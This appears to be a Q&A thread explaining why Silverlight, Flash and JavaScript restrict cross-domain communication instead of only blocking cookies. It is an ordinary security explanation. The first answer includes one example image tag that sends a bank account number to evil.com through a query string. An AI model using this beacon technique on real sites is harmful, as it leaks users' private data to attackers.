Silverlight and Flash and Javascript cross domain policies

Question

A slightly nebulous question:

This question stems from attempts to consume non-asf streams in Silverlight using MediaStreamSource as a MediaElement source. Cross domain issues here are proving very frustrating.

Generally communication between domains is not allowed on the web.

If I understand correctly, say malicious site/embedded object A can send requests to Secure Site B with whom the user happens to be logged in, auth cookies are sent and then bad things are afoot.

In Flash/Silverlight the situation is improved by cross domain policy files on the host (e.g. B) allowing or disallowing comms from other domains, but this is still limiting when trying to parse media streams from other domains.

Wouldn't a better solution be to prohibit cookies to be sent from A->B rather than disallowing all communications?

What am I missing? What other principles lie behind the current cross domain rules/implementations?

Answer 1

Misuse of auth cookies (XSRF, some XSS scenarios) is just part of the problem. It's also pretty easy to send information from a "good" site to an "evil" one via querystring (e.g. grab some data from a bank page and send it to evil.com by including <image src="http://evil.com/1px.gif?bankaccount=1122334455"/&gt;

Blocking cookies might limit access from a bad site to a good one, but you've also got to guard the cases where script injection or other attacks expose data in a trusted site which could then be transmitted to a bad site, and that doesn't require cookies.

Answer 2

The reasoning behind cross-domain policies is not just cookies/sessions per se. In the days when web content was just "dumb" HTML and images, there was no real security issue if site B showed a page that loaded in images from site A. And if there was a non-security issue (like wanting to prevent hotlinking for IP reasons), the serving site could require a session or the like. But now that web assets include scriptable things like Flash, SilverLight, JS, iFrames, and binary streams (which could be anything), if those assets remain script-accessible when displayed in a page from another site, security risks are all too possible.

Thus cross-domain policies basically reflect the concession that it's unreasonable to expect sites to "opt out" of such risks by manually blocking access to active assets (they way they must do if they want to block hotlinked images, or require a session for certain pages). The burden is inversed to default to the more secure case, so that the serving site must "opt in" to such risk, by specifically choosing which assets to make available cross-domain, and who to make them available to.